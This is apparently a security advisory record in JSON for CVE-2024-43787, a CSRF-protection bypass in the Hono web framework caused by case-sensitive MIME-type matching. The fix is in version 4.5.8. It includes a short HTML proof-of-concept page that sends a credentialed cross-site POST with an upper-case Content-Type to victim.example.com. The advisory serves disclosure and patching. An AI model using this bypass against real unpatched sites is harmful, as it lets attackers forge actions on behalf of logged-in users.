{"id":"GHSA-rpfr-3m35-5vx5","summary":"Hono CSRF middleware can be bypassed using crafted Content-Type header","details":"### Summary\n\nHono CSRF middleware can be bypassed using crafted Content-Type header.\n\n### Details\n\nMIME types are case insensitive, but `isRequestedByFormElementRe` only matches lower-case.\n\nhttps://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17\n\nAs a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as \"Application/x-www-form-urlencoded\".\n\n### PoC\n\n```html\n\u003chtml\u003e\n  \u003chead\u003e\n    \u003ctitle\u003eCSRF Test\u003c/title\u003e\n    \u003cscript defer\u003e\n      document.addEventListener(\"DOMContentLoaded\", () =\u003e {\n        document.getElementById(\"btn\").addEventListener(\"click\", async () =\u003e {\n          const res = await fetch(\"http://victim.example.com/test\", {\n            method: \"POST\",\n            credentials: \"include\",\n            headers: {\n              \"Content-Type\": \"Application/x-www-form-urlencoded\",\n            },\n          });\n        });\n      });\n    \u003c/script\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003ch1\u003eCSRF Test\u003c/h1\u003e\n    \u003cbutton id=\"btn\"\u003eClick me!\u003c/button\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\n\nBypass csrf protection implemented with hono csrf middleware.\n\n### Discussion\n\nI'm not sure that omitting csrf checks for Simple POST request is a good idea.\nCSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.\n","aliases":["CVE-2024-43787"],"modified":"2026-07-17T21:16:38.569278910Z","published":"2024-08-22T16:41:08Z","database_specific":{"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2024-08-22T16:41:08Z","nvd_published_at":"2024-08-22T15:15:16Z","cwe_ids":["CWE-352"]},"references":[{"type":"WEB","url":"https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-43787"},{"type":"WEB","url":"https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449"},{"type":"PACKAGE","url":"https://github.com/honojs/hono"},{"type":"WEB","url":"https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17"}],"affected":[{"package":{"name":"hono","ecosystem":"npm","purl":"pkg:npm/hono"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.5.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/08/GHSA-rpfr-3m35-5vx5/GHSA-rpfr-3m35-5vx5.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}]}